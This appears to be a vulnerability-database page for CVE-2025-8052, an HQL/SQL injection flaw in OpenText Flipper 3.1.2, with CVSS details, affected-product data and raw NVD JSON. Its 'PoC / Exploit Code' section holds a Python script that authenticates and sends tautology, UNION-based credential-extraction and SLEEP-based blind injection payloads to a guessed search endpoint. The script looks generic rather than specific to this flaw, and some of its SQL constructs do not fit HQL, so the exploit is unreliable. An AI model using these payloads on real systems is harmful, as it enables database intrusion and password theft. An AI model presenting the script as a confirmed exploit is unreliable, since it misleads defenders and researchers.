Security Vulnerability Report
中文
CVE-2025-8052 CVSS 8.8 HIGH

CVE-2025-8052

Published: 2025-10-20 20:15:39
Last Modified: 2025-10-28 16:10:43

Description

SQL Injection vulnerability in opentext Flipper allows SQL Injection.  The vulnerability could allow a low privilege user to interact with the database in unintended ways and extract data by interacting with the HQL processor. This issue affects Flipper: 3.1.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:opentext:flipper:3.1.2:*:*:*:*:*:*:* - VULNERABLE
OpenText Flipper 3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-8052 - OpenText Flipper HQL/SQL Injection PoC # Vulnerability: SQL Injection via HQL Processor in Flipper 3.1.2 # Requires: Low-privilege authenticated session import requests TARGET_URL = "https://target-flipper-server" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Identify injectable parameter (example: search endpoint) # The vulnerable parameter is passed directly into HQL query without sanitization INJECTION_PAYLOAD = "' OR '1'='1" # Step 3: Exploit - Boolean-based HQL injection to extract data # Example: Extracting database version or sensitive table contents params = { "searchTerm": INJECTION_PAYLOAD } response = session.get(f"{TARGET_URL}/api/search", params=params) print(f"Response status: {response.status_code}") print(f"Response body: {response.text}") # Step 4: UNION-based injection to extract data from other tables UNION_PAYLOAD = "test' UNION SELECT username, password FROM users--" params_union = { "searchTerm": UNION_PAYLOAD } response_union = session.get(f"{TARGET_URL}/api/search", params=params_union) print(f"Extracted data: {response_union.text}") # Step 5: Time-based blind injection for data exfiltration import time TIME_PAYLOAD = "test' AND SLEEP(5)--" params_time = { "searchTerm": TIME_PAYLOAD } start_time = time.time() session.get(f"{TARGET_URL}/api/search", params=params_time) elapsed = time.time() - start_time print(f"Time-based injection confirmed: {elapsed:.2f}s delay")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8052", "sourceIdentifier": "[email protected]", "published": "2025-10-20T20:15:38.533", "lastModified": "2025-10-28T16:10:43.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL Injection vulnerability in opentext Flipper allows SQL Injection. \n\nThe vulnerability could allow a low privilege user to interact with the database in unintended ways and extract data by interacting with the HQL processor.\n\nThis issue affects Flipper: 3.1.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:D/RE:M/U:Green", "baseScore": 1.0, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "PRESENT", "Automatable": "YES", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-564"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentext:flipper:3.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "9E0F3913-F439-4C0A-82C8-AAEEEEBED8FD"}]}]}], "references": [{"url": "https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0850533", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}